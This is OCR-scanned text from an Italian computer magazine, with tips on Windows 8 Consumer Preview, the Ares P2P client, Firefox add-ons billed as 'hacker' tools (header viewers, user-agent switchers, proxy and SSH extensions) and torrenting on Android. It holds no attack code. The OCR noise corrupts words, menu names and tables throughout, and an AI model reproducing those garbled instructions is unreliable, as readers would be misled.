a destra. Clicchiamo con il tasto destro sul 
gruppo appena creato, scegliamo Name 
group, digitiamo un nome e assegniamo¬ 
lo con Name. 



o 


I SITI PREFERITI 
NELLA START SCREEN 


Vogliamo inserire nella Start Screen di 
Windows 8 i collegamenti ai nostri siti 
Web preferiti? La funzione al momento 
non è integrata, ma possiamo comunque 
raggiungere lo scopo sfruttando una ca¬ 
ratteristica del browser Google Chrome. 



r 


O O • \ 


Installiamo Google Chrome (scaricabile da 
www.winmagazine.it/link/1769) e utilizzia¬ 
molo per collegarci al sito Web da inserire 
nella Start Screen (ad esempio Facebook. 
Twittero Gmail). Entriamo negli strumenti 
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di Chrome (il pulsante in alto a destra che 
raffigura una chiave inglese) e scegliamo il 
menu Tools/Create application shortcut La¬ 
sciamo la spunta solo nella casella Desktop 
(Creatd), spostiamoci sul desktop, facciamo 
clic con il tasto destro del mouse sul colle¬ 
gamento che abbiamo appena creato e sce¬ 
gliamo la voce Pin to Start. Ora che il col- 
legamento è stato aggiunto alla Start Scre- 
en possiamo anche eliminarlo dal desktop. 


0 VIA IL WATERMARK 
“CONSUMER 


PREVIEW” 


Per ricordarci che si tratta di una versio¬ 
ne adatta solo a scopi di test, Microsoft 
inserisce nelle preview dei suoi sistemi 
operativi un watermark che ora campeggia 
anche sul desktop di Windows 8 Consumer 
Preview. Se siamo stanchi o infastiditi dal 
watermark, ecco come rimuoverlo. 
Scompattiamo l’archivio My_WCP Water¬ 
mark Edltor.zip (presente nell’archivio Win- 
8hacktools.zip, scaricabile da www.winma- 
gazine.it/link/1769) e lanciamo il file My_ 
WCP_ Watermark_Editor.exe con privile¬ 
gi di amministratore. Rispondiamo Yes alla 
richiesta del prompt UAC, spuntiamo la ca¬ 
sella Remove all watermark e cucchiamo 
su Apply newsettings. L’applicazione del¬ 
la modifica richiede un paio di minuti, al ter¬ 
mine cucchiamo su Done, Click for rebo- 
ot... In seguito al riavvio di Windows 8, pas¬ 
siamo al desktop, facciamo clic con il tasto 
destro del mouse in un punto vuoto del de¬ 
sktop, scegliamo Personalize, passiamo a 
un tema diverso da quello corrente, oppure 
clicchiamo su Desktop Background e se¬ 
lezioniamo una nuova immagine da utilizza¬ 
re come sfondo. 



© BACKUP FACILE 

Windows 8 ci semplifica il compito 
di conservare sempre una copia di backup 
dei file più importanti. La funzione File 
History si comporta come un vero software 
di backup, fornendo inoltre all’utente la 
possibilità di scegliere cosa ripristinare. 



File History richiede l’utilizzo di un disco 
esterno (chiavette USB o hard disk portatili), 
per cui colleghiamone uno al PC, dal menu 
Autoplay scegliamo la voce Configure this 
drive for backup File History e rispondia¬ 
mo NO alla richiesta di condividere il drive 
con altri membri del gruppo Home. Ora che 
File History è attivo, tutti i file presenti nelle 
librerie e cartelle del nostro account uten¬ 
te Windows saranno sottoposti al backup. I 
collegamenti sulla sinistra ci permettono di 
intervenire sulle impostazioni di File Histo¬ 
ry. Con Exclude folders andremo a indica¬ 
re (Add) le cartelle da non includere nel ba¬ 
ckup, mentre con Advanced settings pos¬ 
siamo modificare gli intervalli tra un backup 
e l’altro (Save copies offiles) e indicare per 
quanto tempo conservare le versioni prece¬ 
denti dei file ( Keep saved versions). Salvia¬ 
mo prima di uscire (Save changes ) e utiliz¬ 
ziamo il collegamento Restare personal fi- 
les per accedere alle versioni precedenti dei 
file inclusi nel backup. 


0 UN RESET 
SENZA PERDITE 

Una delle feature più utili di Windows 8 
consiste nella possibilità di resettare il 
sistema operativo senza perdere i dati 
archiviati nel disco. L’operazione resetta 
Windows 8 allo stato iniziale, tuttavia, esi¬ 
ste la possibilità di utilizzare un’immagine 
più recente che includa, oltre al sistema 
operativo, anche driver e software. 
L’immagine alternativa che utilizzeremo 
per il refresh di Windows 8, non è altro che 
un'istantanea del sistema operativo allo sta¬ 
to attuale. Installato Windows 8, dotiamolo 
di tutti i driver e i software indispensabili al 
nostro lavoro. Apriamo Windows Explorer e 
creiamo una nuova cartella nel drive C: (o 
in un qualsiasi altro drive collegato al com¬ 
puter) che chiameremo backup. Pigiamo i 
tasti Win + 0, digitiamo cmd nella casel¬ 
la di ricerca, clicchiamo con il tasto destro 
del mouse sull’unico risultato visualizzato 
e scegliamo Run as administrator(Yes). 
Digitiamo il comando recimg -createimage 
C:\backup\ (sostituiamo il percorso di sal¬ 
vataggio qualora avessimo scelto un drive 


IN BREVE 


APPLICAZIONI 
NELLO START 
SCREEN 


Oltre che sul desktop, 
una barra delle appli¬ 
cazioni in esecuzio¬ 
ne è nascosta anche 
nella Start Screen. 
Per svelarne l'esi¬ 
stenza basta sposta¬ 
re il cursore nell’an¬ 
golo alto alla sinistra 
dello schermo o usa¬ 
re la combinazione di 
tasti Win + Z. Ciccan¬ 
do con il tasto destro 
del mouse sulle minia¬ 
ture (dose) chiudere¬ 
mo l’applicazione cor¬ 
rispondente. 


diverso per il salvataggio dell’immagine) e 
pigiamo Invio. Per completare l’operazio¬ 
ne Windows impiegherà un po’ di tempo, 
al termine chiudiamo il prompt dei coman¬ 
di. Quando avremo la necessità di dare una 
rinfrescata al sistema, riportandolo allo sta¬ 
to in cui era quando abbiamo creato l’istan¬ 
tanea, avviamo File History bai Pannello di 
controllo , clicchiamo su Recovery quindi 
facciamo clic sul pulsante GetStarted che 
compare nella sezione Refresh. Seguiamo 
la procedura cliccando su Next e attendia¬ 
mo il riawio del sistema. 



WINDOWS 8 SHORTCUT 


COMBINAZIONE 

DI TASTI 

FUNZIONE 

WIN 

Passa rapidamente dalla Start Screen 
al desktop (e viceversa) 

WIN + W 

Ricerca impostazioni 

WIN + Q 

Ricerca applicazioni 

WIN + F 

Ricerca file 

WIN + I 

Visualizza i settaggi della Start Screen 

WIN + E 

Avvia Windows Explorer 

WIN + C 

Visualizzala CharmBar 

WIN + Z 

Visualizza il menu contestuale 
delle applicazioni Metro 

WIN + SPAZIO 

Modifica lingua di input e layout 
della tastiera 

WIN + 0 

Blocca la rotazione dello schermo 

WIN + STAMP 
(0 PRINT SCREEN) 

Cattura uno screenshot del desktop 
e salva l'immagine nella cartella Pictures 

WIN + INVIO 

Avvia Narrator (strumento per la lettura 
del testo che compare sullo schermo) 

WIN + , 

Mostra desktop 

WIN + PAG SU/PAG GIÙ 

Sposta applicazioni e Start Screen 
sul monitor di sinistra/destra 

WIN+TAB 

Sfoglia le applicazioni in esecuzione 

WIN + SHIFT + TAB 

Sfoglia le applicazioni in esecuzione 
nell'ordine inverso 

WIN + CTRL+ TAB 

Sfoglia le app Metro nella barra 
della applicazioni della Start Screen 

WIN + X 

Visualizza il menu rapido 
per le impostazioni del sistema 

WIN + L 

Disconnetti utente 

WIN + M 

Minimizza tutte le finestre aperte 
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| Ares 




eMule mobile 
■■■edition! 


4 » + 


/ 


Ares è tra noi! 

| Avviamo l'installazione di Ares facendo doppio 
| clic sul fi le aresregular21 installer. exeche 
troviamo sul Win CD-Rom. Premiamo lAgree 
per accettare il contratto di licenza, proseguiamo con 
Next, cicchiamo Instali e infine dose per completare 
l’installazione. 


Cosa ci f 
occorre 

CLIENT P2P 

ARES 

Lo trovi su: HCD 


SOFTWARE COMPLETO 


Sito Internet: 

irttp://aresgalaxy. 

sourceforge.net 


ÌMT@ 


SCARICARE SENZA 
ESAGERARE 

Ares può essere uti¬ 
lizzato con qualsiasi 
operatore e Internet 
Key. Basta configura¬ 
re quest ultima con 
il giusto APN (ibox. 
tim.it perTIM, web. 
omnitel.it per Voda- 
fone, internet.wind 
per Windetre.it per 
3 Italia) e scegliere il 
numero di telefono 
*99# (comune per tut¬ 
ti gli operatori). Oc¬ 
chio a non esagerare 
con i download, però. 
Se si scarica troppo si 
rischiano limitazioni 
anche sulle applica¬ 
zioni Web! 


S ono in molti i gestori di telefonia mobile 
che applicano filtri alle connessioni delle 
Internet Key, in modo da limitarne la velo¬ 
cità in download con i più utilizzati programmi 
di file sharing. Inoltre, quando si usa una chia¬ 
vetta 3G non è possibile aprire (reindirizzare) 
le porte di comunicazione e, pertanto, ottenere 
ID Alto col Mulo diventa un’utopia. Il tutto si 
traduce nell’impossibilità di scalare le code 
d’attesa e, quindi, di scaricare più velocemente. 
Chi vuole dedicarsi al file sharing via UMTS deve 
abbandonare i classici client P2P, in favore di 
altri programmi che non utilizzano sistemi di 
code “alla eMule”. Tra questi, uno dei migliori è 
sicuramente Ares che permette di condividere 
brani musicali, film, programmi, documenti... 
su una rete proprietaria. Per usare il software è 
sufficiente impostare la cartella in cui salvare i 
download ed effettuare la ricerca dei file tramite 
il motore interno, nei più noti database Torrent 
on-line. Ares dispone inoltre di un player per 
avviare la preview dei file multimediali durante 
il download evitando così di scaricare fake. 


9 Am 2-lA 


- MS 


«resto# rw ig tw sn t 


Come usare la versione unofficial 
del mulo per scaricare a tutta 
banda utilizzando le Internet Key 
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jg Avviso di protezione Windows 




Windows Firewall ha bloccato alcun* 
programma 


Windows Frewal non consente ai programma à accettare cor 
s blocca i p r ogramm a, l o sblo cco a vrà effetto n tutte le reti pu 

Benvanb dalo blocco di un programmai 



Nome: 

Aytore: 


Percorso: 


Percorso d rete: 


Ares p2p fòr wndows 
Ares Devdopment Grouj 
C:iprogram fìesWesW 
Rete pubbka 

Che cosa sono i percorsi 




Sblocchiamo tutto 

Al P rimo awi0 Ares, se il firewall di Windows 
vi è attivo, ci verrà chiesto se bloccare o meno 
le connessioni di rete del programma. In que¬ 
sto caso, naturalmente, premiamo Sblocca e, nella 
finestra con la richiesta Desideri scegliere il tuo nick- 
name?, cucchiamo sul pulsante No. 


Evitiamo congestioni 

Nella scheda Transfer del menu Impostazio- 
Mm ni , settiamo i campi delia sezione Velocità su 
SM valori in kbps pari al 50% di quelli della nostra 
linea dati (per conoscerli effettuiamo un test su www. 
speedtest.net). Cucchiamo su Cambia cartella, sce¬ 
gliamo la directory per i download e premiamo OK. 


Ricerche nella rete di Ares 


a Andiamo in Cerca, scriviamo il nome del file 
nel campo in alto a sinistra, e premiamo Inizia 
Ricerca. La finestra principale mostrerà i file 
trovati indicando una serie di informazioni come la 
tipologia del file, la dimensione, il numero di utenti che 
lo condividono, il nome completo e altro ancora. 



Risultati al setaccio 


Il download abbia inizio 


Niente fake. per favore! 



7^ Per evitare di scaricare file inutili, usiamo la 
!rj funzione di anteprima cliccando col destro sul 
mM file e selezionando Apri/Anteprima, se si trat¬ 
ta di un brano musicale ne verrà avviato l’ascolto; con 
un video, invece, andremo nella finestra Schermoe ne 
visualizzeremo alcune immagini. 


23| Se la ricerca genera molti risultati, filtriamoli 
LJ per identificare con facilita ciò che cerchiamo: 

SM' sotto al campo di ricerca selezionare la tipo¬ 
logia; cliccando Ricerca avanzata, saranno mostrati 
alcuni campi in cui inserire altre informazioni utili a 
scremare i risultati (come autore, dimensione e altro). 


OTfc Trovato il file, scarichiamolo ciccandoci su col 
destro e scegliendo Download. Percontrolla- 
SM re a che punto è lo scaricamento spostiamo¬ 
ci nella finestra Transfer. Per ogni file possiamo con¬ 
trollarne la velocità, il tempo che manca al completa¬ 
mento e altro ancora, 


ARES ED EMULE: IL CONFRONTO! 

Abbiamo effettuato alcuni test comparativi tra le velocità in 
download ottenibili con eMule e Ares. Si evince che con il primo 
sia possibile scaricare più velocemente quando il provider mette 
un filtro al file sharing. 


| OPERATORE 

VELOCITÀ 

EFFETTIVA 

FILTRO 

GESTORE 

VELOCITA 

CON 

EMULE 

VELOCITÀ 

CON ARES 

I TIM 2,13 Mbps NO (IDalto) 220-230 Kbps 

80 Kbps 

H3G 

1 Mbps 

Si (IDbasso) 

20-30 Kbps 

70 Kbps 



I 






















































f* Pirati del PC 


| Speciale trucchi j II browser degli hacker | 


Il browser 
degli hacker 

Le estensioni proibite per truccare Firefox e riuscire a fare 
“cose da pazzi” sul Web. Ecco come usarle 


O 


Cosa ci 
occorre 

BROWSER WEB 

FIREFOX 11 

Lo trovi su: STCD 

Sito Internet: www. 
mozilla.org/it/firefox 


SPECIALE ADD-ON 

ESTENSIONI 
PER FIREFOX 


Lo trovi su: 0CD 


U na tra le tante caratteristiche 
che ha sicuramente contri¬ 
buito molto alla diffusione di 
Firefox è quella relativa alla possi¬ 
bilità di espandere le sue funzioni 
tramite l’installazione di moduli 
supplementari sviluppati da terze 
parti. I componenti aggiuntivi, co¬ 
sì si chiamano questi programmi, 
sono oggi molto diffusi e utilizzati, 
e il loro numero aumenta giorno 
dopo giorno. 

In ogni caso, proprio per questo 
motivo, orientarsi e decidere quali 
adottare non è un compito tra i più 
facili, specialmente per chi usa per 
la prima volta le estensioni. Vediamo 


allora di fare una panoramica su al¬ 
cuni dei programmi più interessanti 
e soprattutto su quelli più usati da¬ 
gli "smanettoni", che notoriamente 
cercano di adottare ogni strategia e 
soluzione per ottenere il massimo 
dai propri computer. 

Prima di iniziare, è importante 
sottolineare che il termine hacker 
viene molto spesso frainteso dai 
giornali non specializzati, che lo 
impiegano in modo negativo come 
sinonimo di pirata, quando, nella 
sua accezione originale e corretta, 
indica un esperto informatico che 
utilizza le sue conoscenze solo per 
operazioni lecite. 


DIFFICOLTÀ 


B ELEVATA 
MEDIA 
BASSA 


O TUTTE LE 
INFORMAZIONI 
SU UN DOMINIO 


Solitamente, ottenere informazioni 
dettagliate sul sito al quale siamo col¬ 
legati richiede l’uso di diversi software 
o l’accesso a pagine Web che offrono 
servizi dedicati per l'estrazione di tali 
dati. Aggiungendo però il componente 
ShowlP 1.0 a Firefox bastano pochi 
clic per scoprire, senza fatica, chi sia 
il proprietario del dominio o chi ospita 
il server. 

Dopo aver installato il componente aggiun¬ 
tivo (il link diretto è www.winmagazine.it/ 
link/1425), è sufficiente accedere ad una 
qualsiasi URL per veder comparire, nella 


Installiamo un’estensione 

Possiamo cercare e installare i moduli aggiuntivi utilizzando direttamente Firefox: basta infatti essere 
connessi a Internet e in pochi clic il browser disporrà di nuove funzionalità. Vediamo come procedere. 




^ Il gestore dei componenti 

■j 1 Per accedere alla pagina da cui aggiunge- 
I re o rimuovere i moduli, bisogna cliccare il 
pulsante arancione Firefox sulla barra del titolo e poi 
scegliere la voce Componenti aggiuntivi dal menu 
che appare. Per chi ama le scorciatoie da tastiera, si 
può anche premere la sequenza di tasti Ctrl+Shift+A. 


-,-t; 


* JZ-TL!_ 

$ *»-* »** _ 


* Inizia Tesplorazione 

2 I Nella finestra che appare ci sono diverse 
w voci: per chi muove i primi passi la sezione 
Esplora è la scelta più indicata: permette di orientar¬ 
si nella vasta offerta di componenti consigliati, quelli 
più usati e i temi Personas più diffusi. Chi invece va 
a colpo sicuro può usare il campo di ricerca. 


^ Installazione in un clic 

Q | Installiamo la prima estensione digitando 
, / Show ip nel campo di ricerca. Premuto Invio 
comparirà un elenco dei programmi che contengo¬ 
no tale stringa. Individuato quello che interessa, nel 
nostro caso ShowlP 1.0, cucchiamo Installa per sca¬ 
ricarlo e poi clicchiamo Riawia adesso per attivarlo. 
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Gestiamo gli add-on 

Ogni modulo aggiuntivo può essere attivato, disattivato o rimosso dal sistema. Alcuni, inoltre, offrono 
anche opzioni avanzate di configurazione, vediamo come tenere sotto controllo tutti questi parametri. 




La pagina delle estensioni 

■J : Anche la gestione dei singoli componenti aggiuntivi avviene tramite 
w l’interfaccia messa a disposizione da Firefox. Per accedervi premiamo 
Ctrl+Shift+A e poi cucchiamo Estensioni. Sul lato destro della finestra che 
appare verranno elencati tutti i moduli presenti nel sistema. 



^ Quando non serve più 

0 j In maniera simile, per usare nuovamente un modulo disattivo, basterà 
w cliccare Attiva. Qualora la funzione dell’estensione non risulti più utile 
possiamo procedere con la sua eliminazione cliccando Rimuovi. Nel caso in 
cui il modulo sia già disattivo, la rimozione sarà immediata. 


^ Disattiviamo un modulo 

Nel riquadro dedicato al singolo componente sono presenti diversi 
pulsanti. Qualora il modulo sia attivo (l’icona dell’elemento è colo¬ 
rata, altrimenti sarà grigia) basta cliccare Disattiva per disabilitarne il fun¬ 
zionamento. In alcuni casi ciò richiede il riavvio di Firefox. 



^ Altre importanti funzioni 

4 II Gestore dei componenti aggiuntivi permette anche di ottenere 
W informazioni sui singoli moduli (link Altre!) ma soprattutto di accede¬ 
re alle opzioni di configurazione degli stessi. Se appare il pulsante Opzioni 
basta cliccarlo per modificare il comportamento dell’estensione. 



barra di stato del programma, un pulsante 
con l’indirizzo IP del server in colore rosso. 
Cuccandoci sopra con il tasto sinistro del 
mouse si potrà accedere a tutte le funzio¬ 
ni di ricerca relative all’host, mentre usan¬ 
do il tasto destro queste saranno relative 
all'Indirizzo IP Indipendentemente da tale 
scelta, apparirà un menu contestuale con 
cui eseguire le ricerche sull’host ( robtex. 
com - Host ), localizzarlo geograficamente 
(, ip2country.cd) o estrarne le informazioni 
relative al DNS ( dns.l4x.orgi , per conosce¬ 
re chi sia il proprietario del dominio. Con la 
voce whoishostingthis.com potremo invece 



sapere il nome dell’azienda (provider) che 
ospita il sito, mentre tramite netcraft sco¬ 
priremo anche quale sistema operativo e 
quale server vengono utilizzati per rispon¬ 
dere alle richieste. Appena scelta la funzio¬ 
ne che ci interessa, si aprirà automatica- 
mente una nuova pagina del browser che 
ci mostrerà i risultati. 



I DATI SCAMBIATI DA 
QUESTA PAGINA WEB 


Durante una comunicazione tra il nostro 
browser e un server HTTP, avviene un 
incessante scambio di dati. Intercettare 
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Il browser degli hacker 


queste informazioni è utile per capire 
cosa stia succedendo e soprattutto per 
diagnosticare meglio e più rapidamente 
eventuali problemi. 

Il componente aggiuntivo Header Spy 
(www.winmagazine.it/link/1426) ci mostra 
proprio queste intestazioni (chiamate header 
in inglese) nella barra di stato. Per testarne il 
funzionamento, basta aprire una URL e dopo 
aver ricevuto il contenuto della pagina, nella 
parte destra della barra di stato, comparirà 
il nome del programma server HTTP che ha 
servitotale richiesta. Spostando il puntatore 
del mouse proprio sull’area occupata da 
questa informazione comparirà un tooltip 



iGoogie Impostazioni Giuda 

Visualizzazione Google Celli Pequest 

User -Agent MozMa/SX» (IPhone; U; CPU OS * J_1 hke Mac OS X) AppleWebKit/5325 


Google com in Enj 
02012 - Pnvad 


03 Mot»le/8BS097d S«f«n/653122.7 


Response 

RLSPONSf HTTP/10 200 OK 

Date Wed, 28 Mv 201212:1530 GMT 



che contengono la di¬ 
citura User Agent nel 
nome, come ad esem¬ 
pio User Agent Swti- 
cher (www. winmagazi- 
ne.it/link/1427) o User 
Agent RG (www.win- 
magazine.it/link/1428). 
In entrambi i casi, i pro¬ 
grammi provvederanno, 
in funzione delle nostre 
scelte, a modificare l’he- 
ader che viene inviato al 
server (cosa che può es¬ 
sere facilmente control- 


(cosl vengono chiamate le finestre popup 
in Firefox) con all'interno il contenuto della 
nostra richiesta (in questo caso si tratta 
dello user-agent e cioè dell'identificativo 
del browser) e quello della risposta che, 
oltre a contenere il codice di stato (il 200 
indica che tutto va bene), indicherà anche 
l'ora in cui è avvenuta la recezione dei da¬ 
ti. Cliccando con il tasto destro del mouse 
si accede invece ad un menu contestuale 
con cui richiamare il modulo delle opzioni 
{Optional, molto utile per configurare filtri 
di analisi avanzate, e quello per ottenere le 
informazioni sulla pagina visualizzata (Open 
“Page Info’). 

© CONNESSIONI SOnO 
MENTITE SPOGLIE 

Una funzionalità di Firefox interessante 
per un hacker, ma anche per uno svilup¬ 
patore di siti Web, è quella di riuscire 
a far credere al server al quale ci si 
connette, che il proprio browser sia in 
realtà un altro programma. Sembrereb¬ 
be un’operazione complessa da mettere 
in pratica, ma Firefox può sembrare, 
grazie proprio ad un semplice add-on, 
un Internet Explorer oppure il browser 
di un cellulare! 

Per operare questa “trasformazione” basta 
cercare uno dei tanti componenti aggiuntivi 


lata grazie ad uno dei componenti aggiun¬ 
tivi visti in precedenza) in modo che que¬ 
sto ci risponda di conseguenza, inviandoci 
ad esempio una pagina per dispositivi mo¬ 
bili. Per impostare quale sistema simula¬ 
re, si deve selezionare una voce tra quelle 
presenti nel menu Strumenti/Default User 
Agent o Strumenti/User Agent. Entrambi 
i componenti, come intuibile, richiedono 
che la barra dei menu sia attiva (vedi box 
La barra dei componenti). 


o 


CAMBIO DI PROXY 
AL VOLO 


La comunicazione verso Internet può 
essere diretta oppure instradata su 
di un server intermedio, detto proxy. 
Un vero hacker spesso utilizza più 
di un proxy in funzione delle esigen¬ 
ze di connessione: potrebbe infatti 


1 


A 


Um "B<oxy di casa" per tutti gli URL 
Us» tunnel' per tutti gli URL 
Usa '£rory pie definiti' per tutti gk l 

QisaRiva foryRioey 

£ener«h Ctrt»F2 

Utili:» menu «vantati 



IN BREVE 


LA BARRA DEI 
COMPONENTI 


Con le ultime versio¬ 
ni di Firefox, 
la barra di stato 
e quella dei menu 
sono scomparse, o 
meglio, sono state 
nascoste per lascia¬ 
re più spazio alla 
schermata principa¬ 
le in cui vengono vi¬ 
sualizzati i contenuti 
Web. Decisione che 
sicuramente facilita 
gli utenti che si limi¬ 
tano alla navigazio¬ 
ne, ma che, di fatto, 
rende impossibile, 
per alcuni compo¬ 
nenti, essere attivati 
e comunicare con 
l’utente. 

La soluzione per aggi¬ 
rare questo ostacolo è 
facilissima. Per attivare 
la prima, basta selezio¬ 
nare la voce Barra dei 
componenti aggiun¬ 
tivi presente nel menu 
Opzioni o in alternati¬ 
va premere la sequen¬ 
za di tasti CW+/Per ri¬ 
pristinare la visualizza¬ 
zione dei menu, la voce 
è invece Barra dei me¬ 
nu. Proprio quest’ulti- 
ma può anche essere 
visualizzata tempora¬ 
neamente premendo e 
rilasciando il tasto Alt. 


avere una configurazione per navi¬ 
gare da casa, una per l’ufficio, una 
per aggirare i blocchi imposti da un 
provider particolarmente restrittivo 
e una per la comunicazione diretta. 
Ecco come riesce ad attivare quella 
che fa al caso suo. 

Firefox permette ovviamente di configura¬ 
re l’uso di un proxy mediante uno specifi¬ 
co modulo presente nel menu Opzioni, ma 
questo metodo ha però un limite: permet¬ 
te infatti di gestire una sola configurazio¬ 
ne alla volta. Questo significa che in caso 
di molteplici scenari, dovremo modificare 
manualmente i singoli valori: una pratica si¬ 
curamente molto scomoda e noiosa. Instal¬ 
lando però FoxyProxy Basic (www. winma- 
gazine.it/link/1429) diventerà possibile im¬ 
postare e utilizzare tutti i proxy che si desi¬ 
derano. Per accedere alle sue funzionalità, 
è sufficiente cliccare l’icona del program¬ 
ma sulla barra di stato, mentre per passa¬ 
re da una connessione ad un’altra dovremo 
solo selezionare il relativo menu. Gli utenti 
più esigenti possono poi installare la ver¬ 
sione Standard dell’estensione che offre 
molte più opzioni. 


© ATTIVIAMO UNA 
CONNESSIONE 
REMOTA SICURA 


Alcune categorie di componenti sono 
pensate per interagire con altri tipi di 
server ed in particolare per quelli che 
non sono direttamente implementati da 
Firefox. Ad esempio, molto amato da chi 
amministra server GNU/Linux, è FireSSH 
(www.winmagazine.it/link/1430) che 
permette di gestire da remoto, proprio 
mediante il protocollo sicuro SSH, un 
sistema su cui è in funzione il relativo 
server. 

L’uso è veramente immediato: dopo l’in¬ 
stallazione è sufficiente selezionare il me¬ 
nu Firefox (o cliccare su Strumentini ca¬ 
so in cui la Barra dei menu sia attiva) e poi 
la voce Sviluppo Web , quindi richiamare Fi¬ 
reSSH. In pochi istanti, si aprirà una nuova 
finestra e apparirà un account manager con 
cui inserire l'indirizzo del server a cui ci si 
vuole connettere (Host) e le credenziali per 
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l'accesso (nome di login e relativa password). 
Premendo Connect si stabilirà ia connes¬ 
sione e la finestra di Firefox opererà come 
un normale terminale: ogni comando digi¬ 
tato localmente verrà eseguito sulla mac¬ 
china remota, mentre l’output (ovviamente 
testuale) verrà mostrato aH'interno di Fire¬ 
fox, tutto senza bisogno di ricorrere a pro¬ 
grammi esterni. Al momento, il componen¬ 
te non implementa ancora tutte le funzio¬ 
nalità di un terminale GNU/Linux ma è si¬ 
curamente utilizzabile in molti casi e poi è 
in costante sviluppo. 



BASTA CON 
LA PUBBLICITÀ! 


Sicuramente uno dei componenti ag¬ 
giuntivi di Firefox più diffusi è Adblock 
Plus (www.winmagazine.it/link/1431): 
questo prezioso programma, infatti, è 
in grado di eliminare gran parte della 



fastidiosissima pubblicità che sempre 
più spesso ci troviamo di fronte ai nostri 
occhi mentre navighiamo su Internet. 

Dopo averlo installato e aver selezionato una 
delle liste di blocco predefinite, è sufficiente 
aprire una qualsiasi URL per vedere come 
la maggior parte delle pagine pubblicitarie, 
dei banner o dei riquadri con proposte com¬ 
merciali vengano eliminati automaticamente 


dal modulo. Un vero piacere per la naviga¬ 
zione! L’attività del componente è indica¬ 
ta dalla presenza di un’icona nella barra di 
stato o degli indirizzi con la forma di un se¬ 
gnale di stop con la scritta ABP Spostando 
il puntatore del mouse su questa icona ap¬ 
pare un riquadro che ci informa sul nume¬ 
ro di elementi bloccati e dei filtri maggior¬ 
mente attivi. Nel caso in cui il programma 
non riesca a bloccare tutti gli elementi in¬ 
desiderati possiamo anche definire nuove 
regole di funzionamento. Per farlo, cucchia¬ 
mo con il tasto destro del mouse sull’og¬ 
getto che vogliamo intercettare e selezio¬ 
niamo, dal menu contestuale che appare, 
la voce Blocca con Adblock Plus . A que¬ 
sto punto, impostiamo, scegliendo tra le va¬ 
rie proposte, il nuovo filtro da aggiungere a 
quelli predefiniti e così dalla prossima vol¬ 
ta anche questi nuovi intrusi non compari¬ 
ranno più sullo schermo! 


COMPONENTI AGGIUNTIVI PER TUTTI I GUSTI 

La tabella seguente contiene gli add-on più usati in redazione e può essere usata come ulteriore 
spunto per iniziare la personalizzazione del proprio browser. Le estensioni sono state tutte 
inserite sul CD/DVD nella sezione Internet. 



NOME DEL COMPONENTE 


DESCRIZIONE 


FLASHBLOCK 

FIREFTP 

DOWNLOAD STATUSBAR 

LINKALERT 

SIMPLE TIMER+ CLOCK 

FLAGFOX 

SMOOTHWHEEL 

DOWNTHEMALL! 

IEVIEW 


www.winmagazine.it/link/1432 
www.winmagazine.it/1ink/1433 
www.winmagazine.it/link/1434 

www.winmagazine.it/link/1435 

www.winmagazine.it/1ink/1436 

www.winmagazine.it/link/1437 

www.winmagazine.it/link/1438 

www.winmagazine.it/link/1439 


www.winmagazine.it/link/1440 


Per bloccare le animazioni in Flash e riattivarle con un 
semplice clic sul pulsante che le sostituisce. 

Un dient FTP ed SFTP che si integra alla perfezione con 
Firefox. 

Per visualizzare e gestire i download direttamente sulla 
barra di stato. 

Mostra un'icona del cursore che cambia in funzione del link 
di destinazione (collegamenti esterni, immagini, JavaScript, 
file ZIP ecc.). 

Utilissimo per non perdere la nozione del tempo mentre si 
naviga e soprattutto per non mancare agli appuntamenti! 

Una piccola bandiera viene aggiunta alla fine dell'Indirizzo 
della URL per indicare l'ubicazione geografica del server. 

Utility per far scorrere le pagine con la rotella del mouse in 
maniera molto più morbida. 

Ottimo gestore e acceleratore di download. 


Permette di richiamare 
direttamente Internet 
Explorer per aprire un 
determinato link. 
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| Si fa così 


Il file sharing 
dal telefonino 

Con uno smartphone Android e le applicazioni giuste, 
è possibile scaricare di tutto e di più dalle reti P2P... 


Cosa ci /O 
occorre v**/ 

APP ANDROID 
PER IL FILE SHARING 

TTORRENT LITE 

Sito Internet: 

Play Stare 

APP ANDROID PERLA 
CONDMSIONE CLOUD 

0R0PB0X 


SOFTWARE COMPLETO 


Sito Internet 

Play Stare 


S caricare e condividere file 
grazie a programmi P2P co¬ 
me eMule o sfruttando uno 
dei numerosi Client Torrent (uTor- 
rent e BitTorrent sono i più utiliz¬ 
zati) è da anni una pratica conso¬ 
lidata (purtroppo anche nel suo 
aspetto più deprecabile: lo scam¬ 
bio di materiale protetto dal dirit¬ 
to d'autore). Fino a qualche tem¬ 
po fa, per accedere alle reti P2P 
era necessario l'uso di un perso¬ 
nal computer (e ovviamente di una 


connessione Internet). Oggi, inve¬ 
ce, con la diffusione di smartpho¬ 
ne e tablet "intelligenti", come i 
device con sistema operativo An¬ 
droid, è possibile installare l'ap¬ 
plicazione tTorrent Lite per cer¬ 
care e scaricare file ovunque ci si 
trovi; ovviamente connettendosi 
a un hotspot Wi-Fi nelle vicinan¬ 
ze o sottoscrivendo con il proprio 
operatore mobile una tariffa fiat 
per disporre di traffico dati illimi¬ 
tato. Inoltre, sarà anche possibile 


spostare i file scaricati dal telefoni¬ 
no al computer e viceversa, sfrut¬ 
tando le potenzialità di Dropbox 
(www.dropbox.com), il servizio 
cloud di file hosting ormai dispo¬ 
nibile per tutte le piattaforme mo¬ 
bile. Ovviamente, ricordiamo a tut¬ 
ti di prestare la massima attenzio¬ 
ne a quello che si scarica: nei cana¬ 
li Peer To Peer circola anche ma¬ 
teriale coperto da diritto d'autore 
il cui download, è bene ricordar¬ 
lo, è illegale! 



DROPBOX: 

ACCESSO VIA WEB 

Loggandoci all'inter¬ 
faccia Web di Dropbox 
potremo caricare e sca¬ 
ricare file. Ogni cartella 
potrà essere condivisa a 
più persone. Basta clic¬ 
care Invite tofolder e 
invitare tramite e-maili 
nostri amici. 


□ Verdi torrenti in piena nei quali 


Con tTorrent, 
un’app 
gratuita per i 
telefonini dotati 
di sistema 
operativo 
mobile Google, 
si possono 
scaricare 
e condividere 
file ovunque 
ci si trova. 



A H v €E! 

^ ili! _ 23:54 

What's new 


vO.9.1 

• Show 0% as progress for files wifh zero priority. 

- Fixed FC when adding new torrents from search results. 

- Fixed some other force doses. 

VO.9.0 



Ti pr esento tTorrent 

D Dallo smartphone Android carichiamo il Market e nel 
motore di ricerca cerchiamo la parola tTorrent. Selezio¬ 
niamo tTorrent Lite nell’elenco dei risultati e premiamo 
Scarica. Terminata l'installazione, nella finestra del Market compa¬ 
rirà il tasto Apri. Tappiamo su questo tasto ed eseguiamo per la 
prima volta tTorrent Lite. 


La nostra prima ricerca 

B AIIa prima apertura di tTorrent Lite, comparirà un mes¬ 
saggio di avviso che riporta tutte le novità presenti 
nell'ultima versione dell’applicazione installata. Basta 
